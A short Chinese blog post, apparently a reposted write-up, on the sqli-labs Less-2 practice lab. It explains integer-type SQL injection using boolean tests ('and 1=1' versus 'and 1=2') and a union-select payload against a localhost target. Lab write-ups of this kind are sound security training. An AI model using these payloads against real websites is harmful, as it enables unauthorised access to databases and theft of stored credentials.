sqli-labs:Less-2

在Less-1实验中,我们经过测试发现是字符型注入方式,而Less-2实验中是整型注入方式

我们用上一节的测试方式来测试:
输入http://localhost/Less-2/?id=1 and 1=1

页面正常

输入http://localhost/Less-2/?id=1 and 1=2

页面不能正常显示

通过Less-1的知识,我们知道Less-2是一个整型注入,SQL语句为:
select username, password from users where id=1 and 1=1;
select username, password from users where id=1 and 1=2;
第1个语句访问是正常的,而第二个语句无任何返回

接下来用union构造的时候就要改为:
http://localhost/Less-2/?id=-1 union select 1,2,3 %23

这里就不要再加单引号了

猜你喜欢

转载自www.cnblogs.com/tangjf10/p/12589011.html